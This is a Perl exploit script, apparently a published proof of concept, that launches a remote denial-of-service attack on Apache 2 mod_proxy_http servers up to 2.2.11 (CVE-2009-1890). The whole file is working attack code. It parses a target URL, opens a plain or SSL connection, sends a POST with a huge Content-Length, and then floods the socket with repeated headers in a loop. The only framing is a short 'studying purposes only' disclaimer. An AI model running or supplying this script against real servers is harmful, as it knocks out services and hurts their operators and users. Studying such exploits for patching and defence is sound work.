#!/usr/bin/perl
# hoagie_apache2_proxy_dos.pl
# APACHE2 REMOTE DENIAL-OF-SERVICE EXPLOIT (<= 2.2.11)
#
# CVE-2009-1890
#
# Bug discovered by:
# Nick Kew, Joe Orton
#
# THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
# CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
# DAMAGE DONE USING THIS PROGRAM.
#
# VOID.AT Security
# andi@void.at
# http://www.void.at
#
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;


my $target = $ARGV[0];
my $server;
my $protocol;
my $port;
my $url;
my $socket;

print "hoagie_apache2_proxy_dos.pl - apache2 mod_proxy_http denial-of-service <= 2.2.11 remote\n" .
      "-andi / void.at\n\n";

if ($target =~ /^(http|https):\/\/([A-Za-z0-9_\.]{1,128})(:[0-9]{1,5}){0,1}([A-Za-z0-9_\.\/]{0,128})$/) {
   ($protocol, $server, $port, $url) = ($1, $2, $3, $4);
   if (!$port) {
      $port = 80;
   } else {
      $port = substr($port, 1);
   }
   print "[*] server  : " . $server . "\n";
   print "[*] protocol: " . $protocol . "\n";
   print "[*] port    : " . $port . "\n";
   print "[*] url     : " . $url . "\n";

   if ($protocol eq 'https') {
      $socket = new IO::Socket::SSL(
                    PeerAddr => $server,
                    PeerPort => $port,
                    Timeout  => 300,
                    Proto    => "tcp");
   } else {
      $socket = new IO::Socket::INET(
                    PeerAddr => $server,
                    PeerPort => $port,
                    Timeout  => 300,
                    Proto    => "tcp");
   }

   if (!$socket) {
      print "[*] connection to " . $target . " failed\n";
   } else {
      my $request =
         "POST " . $url . "  HTTP/1.1\r\n" .
         "Host: " . $server.  "\r\n" .
         "Content-Type: text/plain\r\n" .
         "Content-Length: 2147483648\r\n" .
         "\r\n";

      print "[*] sending header ...\n";
      print $socket $request;

      print "[*] sending body ... \n";

      for (my $i = 0; $i < 2147483647; $i++) {
         print $socket $request;
      }

      close $socket;
   }
} else {
   print "[*] invalid url " . $target . "\n";
}
